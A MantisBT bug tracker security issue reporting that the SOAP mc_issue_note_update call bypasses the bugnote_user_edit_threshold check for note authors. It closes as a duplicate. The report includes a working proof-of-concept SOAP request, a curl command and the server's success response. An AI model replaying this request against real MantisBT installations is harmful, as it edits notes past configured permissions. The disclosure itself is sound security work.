Relationship Graph

Relationship Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0036980mantisbtsecuritypublic2026-11-22 16:11
Reporterninjasec Assigned Todregad  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.0 
Summary0036980: SOAP Note Update Bypasses bugnote_user_edit_threshold for Note Authors
Description

The SOAP note update path treats bugnote_user_edit_threshold as a configuration value rather than as an access decision. For note authors, this collapses the intended authorization check and allows updates through mc_issue_note_update() even when the configured threshold should deny the action.

Prerequisites

  • The authenticated SOAP user owns the target note.
  • bugnote_user_edit_threshold is higher than that user’s access level.
Steps To Reproduce

Request

GET /view.php?id=2 HTTP/1.1
Cookie: valid authenticated session for the note author

Response

HTTP/1.1 403 Forbidden

SOAP Request

POST /api/soap/mantisconnect.php HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: <base-url>/api/soap/mantisconnect.php/mc_issue_note_update

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://futureware.biz/mantisconnect" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:mc_issue_note_update>
<username xsi:type="xsd:string">reporter</username>
<password xsi:type="xsd:string">reporter123</password>
<note xsi:type="ns1:IssueNoteData">
<id xsi:type="xsd:integer">9</id>
<text xsi:type="xsd:string">soap threshold bypass test</text>
</note>
</ns1:mc_issue_note_update>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

curl

curl -i '<base-url>/api/soap/mantisconnect.php' \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: <base-url>/api/soap/mantisconnect.php/mc_issue_note_update' \
--data-binary @/tmp/soap-note-update.xml

Observed SOAP Response

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope ...>
<SOAP-ENV:Body>
<ns1:mc_issue_note_updateResponse>
<return xsi:nil="true"/>
</ns1:mc_issue_note_updateResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

TagsNo tags attached.

Relationships

duplicate of 0037201 closeddregad Authorization bypass in mc_issue_note_update due to boolean coercion of Integer threshold 

Activities

dregad

dregad

2026-08-21 03:43

developer   ~0071352

Closing as duplicate of 0037201.
Even though it was reported later, the problem is better described there.

@ninjasec you will still get credited for the finding.